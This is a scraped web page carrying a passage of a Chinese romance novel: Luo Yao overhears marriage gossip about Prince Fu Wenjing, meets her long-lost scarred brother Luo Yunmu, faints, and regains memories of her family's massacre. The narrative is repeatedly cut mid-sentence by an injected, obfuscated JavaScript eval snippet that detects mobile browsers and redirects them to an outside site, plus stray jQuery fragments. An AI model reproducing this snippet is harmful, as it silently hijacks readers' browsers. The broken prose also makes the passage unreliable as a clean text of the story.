满院脂粉气侵袭鼻腔,洛瑶猛地打了个喷嚏。她扇了扇风,试图驱散鼻尖那熏人的香气,可事与愿违,香味更浓郁了,又连打了好几个喷嚏,带着月芽赶忙离开。 “哥哥。”洛瑶本打算去喂兔子,但兽舍就在梅园旁,洛瑶打道回府,直接扎进了水榭。 今日天朗气清,洛瑶缠着傅闻璟非得到水榭练字。 洛瑶一进湖心亭水榭,傅闻璟便闻到了一股和寻常不一样的香气,眉头微蹙,询问一旁的林公公,“你换熏香了?” 林公公还没回答,洛瑶抬起袖子闻了闻衣袖,又打了个喷嚏,没好气道:“许是我方才经过梅园不小心沾到的,我去换个衣裳,哥哥等我!” 说完就跑回了主院。 月芽给她挑了一身翠绿色宽袖织锦襦裙,精心换上适合的发饰,还在腰间佩上个香囊。 月芽如今看洛瑶就是老母亲看女儿的心态,就想把洛瑶打扮得漂漂亮亮的。 毕竟,谁家姑娘都不能比过她的姑娘。 “我们绕路吧,不经过梅园,那里熏得我难受。” 月芽想了想,“可是去湖心亭,不经过梅园,最近的路就得经过恭房,不然其他的路得绕一大圈……” 洛瑶秀气好看的眉毛拧起来,纠结半晌,算了,经过恭房总比经过梅园好些。 一主一仆像是做贼一样,绕开梅园,踏上了去湖心亭最近的路。 “倒也还好——” “李青青倒是好运了,傅老夫人看上她,能和她竞争的人又身体不适不参加,多半晋王妃便是她了。” 洛瑶刚想说话,就听到两个姑娘躲在一旁假山里说悄悄话。 李青青?晋王妃? 洛瑶狐疑地回头和月芽对视一眼,月芽点点头,洛瑶总算明白了,五日前李青青来晋王府,又跟她说了许多不相干的话,原来是这般。 当初安玥和月芽都提醒她,只是她当时没放在心上…… “也不知道晋王殿下什么想法。” “不过李青青家世好,名声也不错,性情温婉,晋王殿下对她应该也是颇为欣赏。” “不仅如此呢,当年李青青坠马,晋王殿下着急地策马救她,当年那一抱,英雄救美人,要是换在男女大方严苛的前朝,两人早就定亲了。” “不过那个洛姑娘可惜了,我在花神节见过她,长得仙姿玉骨,可好看了,可惜命不好,是个孤女。” “不过孤女也好,到时候当个妾室也是使得。” “不过按照李青青的性格,多半会寻个普通人家,把洛姑娘给嫁出去,或者是把她送往庄子。” 两人你一言我一语,丝毫不担心别人听见,轻飘飘的话语就像一把尖刀那样刺进洛瑶的胸口。 洛瑶眉头紧蹙,手一下一下揪着旁边的茶花,一盆盛开的茶花,在洛瑶的辣手摧花下,所剩无几。 两个姑娘像是忽然想起在别人府上,赶忙停下闲聊,拉着手离开假山。 洛瑶和月芽对视,像是被欺负了一般,一双眼瞬间蓄满泪水,小脚一跺,飞快往湖心亭跑去。 “姑娘,跑慢些,你身子不好……” 洛瑶越跑越快,还没到湖心亭,虚弱靠着廊柱,捂着胸口喘气,脸上泛着不正常的红。 月芽追上来时,洛瑶趴在回廊上,双眼无神地看着波光粼粼的水面。 方才两个姑娘的话再洛瑶脑海中不断循环。 李青青家世好、名声好、性情好…… 傅闻璟对她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378362|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很是欣赏…… 傅闻璟当年还救过她…… 还抱过她…… 洛瑶又想到两年前自己刚醒过来时,傅闻璟对自己的排斥,又想起这些日子的相处……哼! 洛瑶恶狠狠想着,又对月芽道:“你说得对!” “什么说得对?” 傅闻璟清冽又温柔的声音在身后响起,洛瑶回头瞪了他一眼,没好气地哼了声,背过身,只留给他一个后脑勺。 他等了洛瑶许久,都没见洛瑶回水榭,准备继续等下去时,听到月芽的声音便起身出来看。 对上林公公戏谑的眼神,傅闻璟迈出步伐一顿,又立马说服自己,这丫头,现在可是当朝郡主,只是她自己不知道罢了,更何况她还是他的……妹妹,可容不得有什么闪失。 “怎么了这是?” 傅闻璟在洛瑶身边坐下,方才还高高兴兴,怎么回去换个衣裳就生气了。 洛瑶哼了哼,沉默地往一旁挪去,傅闻璟不明所以,但还是跟着洛瑶的步伐,也挪了过去。 洛瑶往旁边退一步,傅闻璟就跟一步,直到洛瑶挪到边上,再动,洛瑶就要摔下去。 “到底怎么了?”傅闻璟今日心情好,捏了捏洛瑶的小肉脸。 洛瑶发现傅闻璟今日兴致比往日高了不少,不过也是,都要定下亲事了,当然心情好了。 啪地一声,洛瑶把傅闻璟的手拍开,“我不跟有妇之夫靠得那么近。” “晋王殿下,我们还是保持些距离好。” “有妇之夫?什么有妇之夫?” 洛瑶白了他一眼,语气极冲,“装,你还装傻,明明你就要定亲了,还跟我动手动脚,怎么?你是已经打定主意让我当你的妾室了?” 和安玥呆久了,洛瑶脾气也比先前火爆了不少,一旁的林公公看得心惊肉跳,悄悄挪到月芽身边。都是祖宗,他惹不起。 但洛瑶不知道,她现在生气的模样,在傅闻璟眼里像极了个生气的小兔子,毫无攻击之力。 傅闻璟总算是听明白了,一把把洛瑶拉回来,绷着脸,神色严肃,“谁跟你说我要定亲了?谁说我要你做妾室了?谁跟你说这些没影的事,荒谬!” 傅闻璟话音刚落,洛瑶眼里蓄起的泪水瞬间落了下来,贝齿咬着唇,倔强地瞪着傅闻璟。 “怎么哭了。”傅闻璟抽出帕子轻轻拭去她脸上的泪水,剑眉紧蹙,心脏像是一只大手用力捏着,闷闷的。 洛瑶一把扯过帕子,侧过身,“你凶我!” 傅闻璟一顿,天地良心,他没有,但对上洛瑶盈盈泪眼,辩驳的话到了嘴边却是哄人的,“没有定亲,没有什么乱七八糟的妾室,阿瑶,你信我。” 傅闻璟声音温柔坚定,洛瑶抽噎声一顿,抬眸和傅闻璟对视,一双眼睛圆溜溜,像水洗过般。 傅闻璟莫名其妙感觉心脏漏了一拍。 许是最近太累了。傅闻璟心想。 “真的?”洛瑶将信将疑。 “我有骗过你吗?我的婚事只能由陛下作主。” “那我信你一次,你要是骗我,我就不理你了!” “哦?你想怎么不理我?” “你要是骗我,我就搬走。” 傅闻璟闻言挑眉,“你想搬到哪去?” “你管我,反正不许骗我!” “好。” 清冽的声线安抚洛瑶不安的心,她哼了声,小手帕一甩,扔到傅闻璟身上,扬着圆润的下巴往水榭走去,“我去练字了。” 步伐轻快惹得傅闻璟摇头失笑。 28. 第 28 章 次日一早醒来,洛瑶尚未洗漱,便听到门房通报,说是州牧府的李姑娘递了帖子。 洛瑶挑了挑眉,指尖把玩着门房小厮送来的帖子,不需要拿得太近,便能闻到帖子上的淡淡梅香。 洛瑶没由来地讨厌梅香,指尖一松,帖子轻轻落在地上,拿起团扇轻摇,驱散鼻尖的香气,即使梅花香气淡淡的,洛瑶还是觉得熏得难受。 “麻烦转告李姑娘,我身子不适,不宜见客,还请李姑娘先回吧。” 月芽闻言,放下手中的梳子,抓了一把银瓜子,转身打发门房小厮,“多谢小哥通报了,这是姑娘赏你们吃酒的。” 待小厮离去,月芽给洛瑶继续绾发,“李姑娘递帖子来,怕不是想来试探姑娘的口风?” 洛瑶在匣子里挑挑拣拣,好不容易选出一支心仪的簪子,在鬓边比了比,递给月芽,“就这支吧。” “由她去吧,我也不是什么大度的人,我心中多少有些膈应,就是不想见她。” 姑娘还是小孩子心思。月芽闻言,只是笑笑,手中的活并没有停下来。 “哥哥呢?” “王爷去衙署了,听林公公说,这几日南国使臣途径淮南府前往京城,王爷这两日要忙着淮南府布防。” 傅闻璟不在,李青青来找洛瑶吃了个闭门羹,消息传到韶华阁,傅老夫人像是铁了心思要让洛瑶不舒坦,立刻让人请李青青上门,如今两人在韶华阁相谈甚欢。 消息传到洛瑶耳朵里时,洛瑶正和针线缠斗。 昨日发了脾气,虽说无伤大雅,但到底傅闻璟也承受了她的无名之火,洛瑶便想着做个香囊赔罪,月芽对洛瑶的女工不抱期待,只希望洛瑶别伤着自己就好。 洛瑶忙活了大半日,绣了个四不像,耍小脾气般把香囊扔到一旁,伸长脖子偷看月芽做的荷包,看了眼月芽手上的,再看一眼自己做的,整个人都蔫了。 又把四不像香囊扔远了些,洛瑶拍拍衣裙上的碎屑,跑进里屋,翻出一个小匣子,“月芽,咱们上街吧,前些天听阿玥说,白玉堂来了一批新玉石,咱们去看看,说不定能挑到好的。” 洛瑶想着,女工她虽不擅长,不过有钱能使鬼推磨。 * 两人出了府,直奔城东的白玉堂。翡翠明珠帐,鸳鸯白玉堂,店铺以白玉为主,而且品质不错,深得淮南府的夫人小姐喜欢。 在白玉堂挑选一番,洛瑶总算选好了一块玉佩和一根玉簪,玉簪工期不短,洛瑶当下便决定,把玉簪留到今年除夕,作为傅闻璟的生辰礼。 若是换做往日,月芽肯定会劝洛瑶,但自从昨日后,月芽便也觉得傅闻璟也并非无情,只不过是不懂得如何说出口。 干燥的秋风拂面,月芽回过神,理了理洛瑶的披风,“姑娘可要回府?” 如今秋风渐起,虽有阳光,但也偶尔也会感觉到凉意,洛瑶身子虚,月芽担心她受不住。 “再逛逛吧,难得出来,”比起月芽的担心,洛瑶更多是兴奋,“往日身子不好出门少,如今身子好了不少,今日可算出门不如玩个够,也省得回去烦心。” 月芽挺懂洛瑶的言外之意,李姑娘俨然把王府当成州牧府。她的贴身丫鬟出入自如,甚至还摸索到主院打探消息,若不是主院侍卫发现及时,还真让她得逞了。 “那奴婢带姑娘逛逛的,这条街奴婢以前来得多,也算是熟悉。” 月芽说着便给洛瑶当起了向导,当年月芽尚未和家中断亲时,时不时到这条街典当些府里赏头面首饰,以贴补家用,思及此,月芽扯了扯嘴角,多亏当年姑娘劝她,不然她如今要被家中吸血。 * “阿瑶!” 一道激动的男声响起,洛瑶愕然回头,对上一张沧桑的面庞,脸侧疤痕如同狰狞的蜈蚣一般蜿蜒,在光线的照射下,左脸疤痕显得格外醒目,微微凸起,质地坚硬,与额前的细腻光滑形成强烈反差。 洛瑶显然没有反应过来,呆愣着看着男子,月芽迅速挡在洛瑶身前,“你是谁!” 月芽一双眸子带着防备,盯着眼前的男子,张开双手,像是护着崽子一样把洛瑶护在身后。 男子藏在发丝下的眸子紧紧盯着洛瑶,似乎像是要把洛瑶看穿,看起来不是很自然的嘴唇轻启,“阿瑶……我终于找到你了……” “你、认识我?” 洛瑶对上那双带着浓烈感情的眼睛,用尽浑身力气,想从里看出些什么来,只觉得熟悉,但什么都想不起来。 洛云牧闻言一滞,下意识向前一步,“你不记得我了?我是哥哥,阿瑶,我是哥哥……” 洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399180|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云牧不敢相信洛瑶不记得他,明明他们是最亲近的人,阿瑶怎么能忘记他…… “哥哥?” 洛瑶喃喃自语,用力闭了闭眼,脑海深处似乎有什么东西要冲破重重枷锁,喷涌而出,冲击着脑海。 洛瑶又低喃了一句“哥哥”,眼前男子显而易见的激动,朝她伸出手,洛瑶下意识往后退一步,藏在月芽身后,露出一双怯生生的眼睛。 洛云牧停在半空中的手一顿,脸上是掩盖不住的失落,极力劝服自己,阿瑶虽然忘记自己,忘记灭门那日,对她来说是件好事。 但阿瑶对自己陌生、防备,洛云牧觉得像是一把钝刀子在他心脏来回划,胸口一阵闷痛,让他难以呼吸。 “你、认识我?”洛瑶躲在月芽身后,怯生生问道。 洛云牧不禁苦笑,“认识,你叫洛瑶,我叫洛云牧,我是你哥哥,我们父亲是已故巡盐御史洛政,母亲是两朝宰相林清晦的女儿林玉琬。” 洛瑶、洛云牧、洛政、林清晦、林玉琬……一个个熟悉的名字像战场上破门的撞木,霸道又蛮横地撞开尘封记忆的枷锁,洛瑶头痛欲裂,眼前一片朦胧,眉头紧蹙,缓缓闭上眼睛,身上的力气卸下,软软瘫在月芽怀里。 “姑娘、姑娘!”月芽灵巧地转身,避开洛云牧伸过来的手,把洛瑶抱在怀里,轻拍她的脸颊,又掐了人中,见洛瑶还是没有醒过来,月芽从袖口抽出哨子轻吹,身边瞬间围住一圈晋王府的侍卫。 月芽狠狠盯着洛云牧,恨不得生吃了他,“你到底是谁!这样做究竟是为了什么!” 洛云牧像是个被斥责的孩童一样,束手站着,只是一双眸子紧紧盯着洛瑶,半份不敢移开,生怕对面的人消失不见。 面对月芽的质问,洛云牧极力按住胸中不安与烦躁,“我是阿瑶的哥哥,同父同母的哥哥,此番来淮南府,就是为了找阿瑶。” “阿瑶自娘胎便带有不足之症,两年前家中长辈刚给阿瑶调理好些,家中便遭遇不测,幸得外祖父相救,我才能苟活,前不久得知阿瑶在淮南府,这才过来找她,如今我在世上,至亲之人只有阿瑶。” “姑娘,这般解释,是否能说服你?” “阿瑶身子不好,如今她晕倒,你就这样扶着也于事无补,还不如先送回去,等大夫看诊。” 29. 第 29 章 在侍卫的保护下,月芽抱着洛瑶上了马车,林公公听闻侍卫报信,担心洛瑶身子,连忙让人套了马车出府接人。 若不是他忙不开,不然就跟着马车出府了。 洛云牧一直跟在月芽身边,不敢靠太近,生怕影响了洛瑶,又不敢走得太远,害怕看不见洛瑶,心中担心,直到到了王府,洛云牧都舍不得离开。 “你怎么跟过来了?”月芽安置好洛瑶后,回头一下子就认出洛云牧。 洛云牧苦笑,他不跟过来,能去哪,只想多看看阿瑶一眼,“我担心她。” “府医这两年一直在给姑娘调理,姑娘身子还算可以,倒是不必担心,你……”月芽指了指自己的脸,“不如回去先休整,等姑娘醒后,她自己决定。” 洛云牧抹了一把脸,掌心濡湿,扯了扯嘴角,良久点点头,“我在驿馆的天字一号房,她若是记起我来,可以到驿馆见我。” 月芽应了声,赶忙把人打发了。 “记住了,驿馆天字一号房,天字一号,”洛云牧一步三回头,依依不舍,直到洛瑶被抬回主院,垂着脑袋,喃喃道,“阿瑶,哥哥在,一直都在、一直都在……” “侯爷?”身边的长随流风担心洛云牧的情况,踌躇着提醒他一声,“咱们是回驿馆还是?” 洛云牧依旧垂眸,时而笑笑,时而沉默,在外人看来,疯疯癫癫的,但他不在乎外人的眼光,只要找到妹妹就好。 找到妹妹就好…… * 晋王府主院,林公公在门口等了半天,总算等到王府马车回来。他原以为洛瑶只是身子不适,可没想到人都晕倒了。 上次姑娘晕倒,王爷一怒之下,发落了那京城来的教习嬷嬷,又把主院的丫鬟小厮都换了个遍,如今姑娘又晕倒,王府怕不是要变天。 把洛瑶安置在主院的床上,林公公跑出生平最快的速度去请府医,刚绕过梅林,便和迎面而来的府医撞了个满怀。 “先生走快些,快些!”林公公不由分说把人拉走,“姑娘晕倒了,先生走快些!” 杜老先生被林公公拉着飞快到了主院。 月芽和林公公焦急地守在床前,杜老先生眸子微眯,手指搭在洛瑶的手腕,一下一下捋着胡子,忽而捋着胡子的手一顿,收回把脉的手,背手起身。 “先生,怎么样?” 林公公心中不安,屋内气氛凝重,安静得能听到呼吸声,月芽扑在洛瑶窗前,给洛瑶细细擦汗。 “姑娘忽受刺激,加上最近秋日燥热,姑娘心烦气闷,这才病倒,我开个方子,吃上几天便可缓解。” “老先生,姑娘像是魇着了,您快过来!”月芽声音急促高昂。 洛瑶紧闭双眼,呼吸急促,豆大的汗珠从额头渗出,脸色苍白得不见一丝血色,贝齿紧咬着唇,像是承受着极大的痛苦。 杜老先生飞快地下了几针,洛瑶呼吸减缓,咬着嘴唇牙齿缓缓松开,嘴角渗出血迹。 “好了,姑娘睡上一个时辰便会自己醒过来。”杜老先生收拾好东西,便让林公公随他一同去抓药熬药。 月芽担心林公公马虎,抢过药单,“我去煎药,公公帮忙看着姑娘。” “也好,以往姑娘的药都是你煎的。”林公公接过帕子,蹲守在洛瑶窗前。 * 金乌西下,傅闻璟也从衙署回来。 方才林公公先是让人请了大夫,又让人去衙署告知傅闻璟,傅闻璟闻言赶忙放下公务赶回来,守在洛瑶的身边。 所幸杜老先生诊断后说洛瑶只是累了,睡久些不影响,傅闻璟这才放人离开。 “怎么回事?”傅闻璟剑眉紧蹙,眉心拧成个“川”字。 屋内众人噤若寒蝉,林公公干笑,“姑娘早起时,精神头还不错,和月芽出了趟府,便晕倒了。” 说完,良久没等到傅闻璟回应,林公公偷偷抬眸,却看到傅闻璟拿着帕子小心翼翼给洛瑶擦汗,左手探入被窝和洛瑶紧紧相握,薄唇紧抿,眸中尽是担忧之色。 王爷懂得关心人了。林公公深感欣慰。 “可要老奴传月芽过来?”林公公放低声音问道。 傅闻璟把帕子扔进盆里,目光一寸一寸打量洛瑶苍白的脸庞,“在哪?” 林公公微微弓着身子,“月芽在给姑娘煎药。” “没有其他丫鬟了?” 傅闻璟嗓音清冷,冷得人一哆嗦,许久没有感受到傅闻璟这般冷言冷语的林公公身子一抖,“月芽担心姑娘身子,不放心姑娘喝的药经手他人,以往姑娘的药,都是月芽亲自煎。” 傅闻璟不语,林公公说完,“可要老奴传月芽过来?” 话落,洛瑶微微抽搐身子,傅闻璟赶忙安抚,好一会后,“罢了,让她先把药煎好,当下阿瑶的身子最重要。” * 傅闻璟公务繁忙,洛瑶醒来前,衙署又来传话,说是数位大人还在衙署等候。 傅闻璟拧起来的眉头就没有松开过,半晌,给洛瑶掖好被子,又吩咐林公公仔细照料,这才起身去了衙署。 傅闻璟前脚刚走,洛瑶后脚就迷迷糊糊醒来,浑身酸痛,手臂都难以抬起。 陌生的床铺,陌生的人,洛瑶防备地看着周遭。 恰巧这时,月芽端着药过来,“姑娘醒了,先喝药吧。” 洛瑶微微侧脸,避开月芽喂过来的药汁,她不认得他们…… 脑袋里像是蒙了一层雾,模糊不清。 “什么时候了?” 洛瑶说话,才发现自己的嗓音像是破风箱一般。 “如今快到卯时了,姑娘这一觉睡得可久了,”月芽放下药碗,给洛瑶拧了条帕子,“好在杜老先生说,姑娘只是累了,并无大碍,不然可把奴婢吓死了。” 洛瑶靠着床头,半垂着眼睑,眸子跟随者月芽的身影。 他们看起来和她很熟悉…… “如今是几年几月?”洛瑶忽然问道。 月芽先是一愣,又反应过来,许是姑娘睡太久了,“姑娘睡迷糊了,如今是熙元二十五年九月,马上就是十月了。” 熙元二十五年……家中出事时,是熙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415849|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元二十三年,竟然过去两年了。 这两年的记忆十分模糊,她只记得自己被人救下,然后在一个陌生的地方生活了两年。 浑浑噩噩地过了两年…… 洛瑶呆呆看着被褥上的织锦纹样,试图拨开脑海中重重的白雾,豆大的汗珠又从额角流下来,惊得月芽连声唤她。 “你……”洛瑶声音依旧沙哑,月芽端了水过来,用小勺子喂入洛瑶口中,喉间干痛总算得以缓解。 “姑娘咱先把药先喝了,奴婢也熬了燕窝粥,姑娘若是饿了,也可以用上些。” 洛瑶摇摇头,指了指那碗药,月芽会意,一勺一勺地小心地喂给洛瑶。 喝完药,洛瑶觉得快要把她的精气神都抽干了,窝进被窝里,睁着一双水眸,看着月芽。 月芽端起药碗,灭了几盏灯,轻轻把门带上,“姑娘好好休息,奴婢先下去了。” 洛瑶并未回应,只是睁着眼睛看着帐顶,思绪万千,许是药里加了安神助眠药,没过多久洛瑶又睡着了。 梦中,洛瑶再一次身临当日灭门现场,家中三十多口就像砧板上的鱼肉,根本没来得及反抗,眼前便是一片血色。 梦里场景一转,洛瑶又看到这两年在晋王府生活的点点滴滴,和傅闻璟的每一个相处瞬间,过于真实,过于幸福,一切就像是假的一样。 残破的洛府和繁华的晋王府,两个场面交织,洛瑶像是被吸入漩涡一样,分不清到底哪个是真的,梦中的她恐惧无措,在一片血色中踽踽独行。 “哥哥……哥哥……” “阿瑶、阿瑶,醒醒!” 傅闻璟用力晃动洛瑶的肩膀,试图把人从梦魇中唤醒。 他刚从衙署回来,想着来看看洛瑶的情况,便没有喊醒在屋外守夜的月芽,悄无声息地进屋。 就像个登徒子一般。 刚在洛瑶床边坐下,便听到洛瑶呓语,一声一声喊着“哥哥”,傅闻璟见状,当即打算唤醒洛瑶,可是连喊了十几声,洛瑶都未醒过来,傅闻璟便直接摇晃她的肩膀。 “哥哥!” 洛瑶猛地睁开眼睛,对上傅闻璟担忧的视线,大大的杏眼瞬间蓄满泪水,蹭的坐起来,死死抱着傅闻璟的腰身,一声接一声喊着“哥哥”,似乎傅闻璟不回应,她便一直喊下去。 “我在,别怕。” 傅闻璟抚上她的后背,轻轻拍着,“做噩梦了吗?哥哥在,别怕。” 洛瑶埋头在傅闻璟颈窝中,温热的呼吸喷洒在傅闻璟颈侧细嫩敏感的皮肤,惹得他心尖一颤,拍着洛瑶后背的手一顿,微愣过后,继续轻拍安抚洛瑶的情绪。 “哥哥……你不会离开我的吧?”洛瑶语气里带着浓浓的不安和不确定。 傅闻璟轻笑,敲了下她的脑袋,“无缘无故地说什么胡话。” “阿瑶要陪哥哥一辈子,哥哥也要陪阿瑶一辈子。”洛瑶脑子还是迷糊,靠着傅闻璟的胸膛,耳边是清晰的心跳声,下意识回应傅闻璟。 说着无心听着有意,傅闻璟环着洛瑶腰肢的手,逐渐用力收紧。 30. 第 30 章 翌日一早,晴空万里,鸟叫声声,屋外侍女小声交谈。 睡梦中的洛瑶醒来,睁开眼睛看到是熟悉晋王府主院,动了动身子,发现被角被压住,顺着看过去,月芽靠坐在脚踏,趴在床边,一旁还有铜盆和帕子。 洛瑶收回视线,猝不及防和月芽对视,只见月芽神色惊喜,“谢天谢地,姑娘总算醒过来了。” “我睡了很久?”洛瑶微愣。 月芽扶起洛瑶,拧了张帕子给洛瑶擦脸,“姑娘睡了将近两天两夜,奴婢听王爷说,姑娘中间醒过。” “奴婢想着姑娘是魇着了,去寻了杜老先生,但杜老先生又说姑娘只是累了,休息好了便会醒来,可姑娘昨天夜里还发热了,奴婢担心便一直守着。” 月芽熬了一天一夜没有休息,今早在鸡鸣前才堪堪睡了会,如今精神不济,说话也没逻辑,想到什么便说什么。 洛瑶撩开月芽颊边的发丝,握住她的手,“辛苦你了。” 月芽微愣,姑娘这是怎么了。 打量洛瑶神色,见她神色无异,月芽悬起来的心微微放下,打趣道:“奴婢怎么感觉,姑娘生了个病就长大了。” “肯定是奴婢看错了。” 洛瑶扯了扯嘴角,不是月芽看岔了,是她想起以前的事情了。 昔日灭门之仇横亘在心底,哪里还能轻松起来。 “月芽。”洛瑶喊了声。 端着铜盆出去的月芽回身询问,“姑娘怎么了?” 良久,洛瑶才问出那句纠结许久的话,“那日我们在街上遇到的男子呢?” 洛瑶声音略带鼻音,还有一点颤抖。 “姑娘这是,想起来了?” 贝齿咬着唇,洛瑶艰难地点头,“他是我哥哥,同父同母的亲哥哥。” 话音未落,两行清泪从眼眶滑落,朱唇颤抖,素手紧紧捏着被子,压抑着喉间不发出声音。 “姑娘莫哭,记起来便是好事。” 月芽拧了张帕子细细擦去洛瑶脸上的泪水,“记起往事,又寻得亲人,这是双喜临门,姑娘莫要伤心。” 洛瑶抱着月芽小声啜泣,闻言声音一顿,变成嚎啕大哭,抱着月芽腰身的手收紧。 过了许久,洛瑶才缓过来,一下一下打着哭嗝,对上月芽的眸子,瞬间有些手足无措,连忙避开视线低着脑袋。 “那位公子在驿馆的天字一号房,姑娘若是想要见他,奴婢让人去通传?” 月芽给洛瑶倒了杯茶,又给她拭去脸上的泪痕,“姑娘这两日昏睡,想必腹中饥饿,不如先用些东西,再去与洛公子相见?” “洛公子若是见到姑娘这样,怕不是会担心。”月芽生怕洛瑶犯倔,不顾自己身子。 洛瑶点点头,生者如斯,不能让哥哥担心。 在府上用了饭,又喝了药,洛瑶才出门。 出府前,洛瑶问了句傅闻璟的消息,却听到主院洒扫的小丫鬟说,今日州牧府设宴,请了傅闻璟前去赴宴。 洛瑶心中没由来地咯噔了一下,但想着去见洛云牧,便并未多想。 * 淮南府驿站。 洛云牧等了两天,终于等到洛瑶醒过来的消息,得知洛瑶要见他时,在驿站换了一身又一身衣裳。 总算选定了一身玄色莲花暗纹圆领袍,对镜整理衣衫时,洛云牧看着京中的自己,眸色微凝,翘起的嘴角悄悄落下,修长的手指抚上脸上的瘢痕。 “这……会吓到她吧。”洛云牧苦笑。 那日在街上怕不是把她给吓到了,想起那日洛瑶惊恐神色,洛云牧心中苦涩,嘴角微扯,拿出一个银面具戴上。 还是遮掩些吧,妹妹胆子小,身子又差,吓到了可不好。 * 洛云牧赶在约定时间前到了茶楼。 先前洛瑶和安玥听说书的包厢,如今安玥和安夫人到了山中古寺上香,包厢便空了下来,洛瑶直接用上。 洛云牧端坐在包厢,面上不动如山,实则心中焦虑不安,视线频频看向门口,杯中茶水续了一盏又一盏。 洛瑶本来让月芽回去歇息,但月芽担心洛瑶情况,说什么都要跟过来。 下了马车,走进茶馆,从门口到包厢这条路,洛瑶走过许多遍,现在走起来,觉得这一段路无比漫长。 洛瑶甚至生出了近乡情怯的恐惧。 素手按在门环上,洛瑶感受到胸腔中的心脏疯狂跳动,仿佛要冲破束缚。 屋内人影绰绰,一门之隔,里面是心心念念的家人,洛瑶甚至有些不敢推开这扇门,害怕这一切是幻觉。 门环和门板相碰,发出闷哼声,洛云牧按在腿上的手瞬间收紧,心脏提起,猛地转头看向门口,期待溢于言表。 门外,洛瑶手指微微蜷缩,闭了闭眼深呼吸,用力推开门。 哐当。 门板推开,洛瑶和洛云牧四目相对。 “哥哥!” 杏眼蓄着泪水,瞬间流下来,洛瑶扑到洛云牧怀中,抱着洛云牧精瘦腰身,埋头在他怀中嚎啕大哭,口中不断喊着“哥哥”。 洛云牧环着洛瑶,轻拍着她的后背,温声安抚,直到洛瑶缓过来了才停下来。 “莫哭,小心伤了眼睛。” 洛云牧拂去洛瑶脸颊上的泪水,细细端详着。 还好,阿瑶这两年长得不错。 洛瑶看向洛云牧,抚上他脸上的面具,脑中闪现前两日相见的场景,想要拿下来。 “别——”洛云牧按住洛瑶的手。 “为什么?” “不好看,我怕吓到阿瑶。” 洛瑶固执地摇头,抿着唇颤抖着手拿下面具。 面具落下瞬间,像蜈蚣一般蜿蜒的疤痕出现在眼前,洛瑶抿着嘴唇不敢哭出声,眼泪像断线的珠子一样坠落,如同琉璃珠子砸在地上一样,碎成一朵朵盛开的花。 月芽背过身,揩去眼角的泪水,关上门的瞬间,和对面李青青的婢女竹青四目相对。 月芽微愣,垂下眸子关上门。 屋内洛瑶好不容易止住眼泪,洛云牧给她倒了一盏茶。 “疼吗?”洛瑶指尖轻轻触碰洛云牧的脸颊。 洛云牧握住她的手,微微摇头,“不疼了,之前还疼,如今见到阿瑶就不疼了。” 洛瑶没好气瞪了他一眼,鼻音浓重,“哥哥还是那样,惯会开我玩笑。” “因为阿瑶是我妹妹,我看着长大的妹妹,是我在这个世界上为数不多的亲人。”洛云牧弄乱洛瑶的刘海,又耐心地帮她整理好。 “哥哥……”洛瑶对上洛云牧的眸子,又埋首洛云牧怀中,想起自己这两年什么都不记得,只留哥哥一人面对血海深仇,喉间哽咽,“哥哥对不起,阿瑶、阿瑶这两年什么都不记得……” “这不关阿瑶的事,如果可以,哥哥希望阿瑶还是不要记得那事,只是不要忘记哥哥就好。”洛云牧声音微抖。 洛云牧放开洛瑶,和洛瑶说起了灭门后发生的事情。 当年黑衣人屠戮洛家,洛云牧中箭后倒在密道口,大火燃起时,挣扎爬进密道,避开这一场灭门大火,苦苦熬了三日,终于等到外祖父林清晦。 林清晦是三朝宰相,门下学生无数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“为何?”洛瑶猛地抬头看他,眸中尽是不可置信。 “此人心机深沉,性情凉薄,与阿瑶实乃非良配——” “怎么会!”洛瑶急忙反驳,这两年相处下来,傅闻璟不过是性情清冷些而已,哪有兄长说的这般不堪。 洛瑶察觉自己语气不对,赶忙解释,“阿瑶不是这个意思,他对我很好,事事以我为先,哥哥不也说了吗,这两年阿瑶养的很好。” 听到洛瑶为傅闻璟说话,洛云牧气不打一处来。 洛云牧犹记江南剿匪前,傅闻璟派了先遣部队,自己却刻意绕道苏州府拜访外祖父。那时洛家灭门一案刚告破,外祖父却告知自己,这少不了傅闻璟的相助。 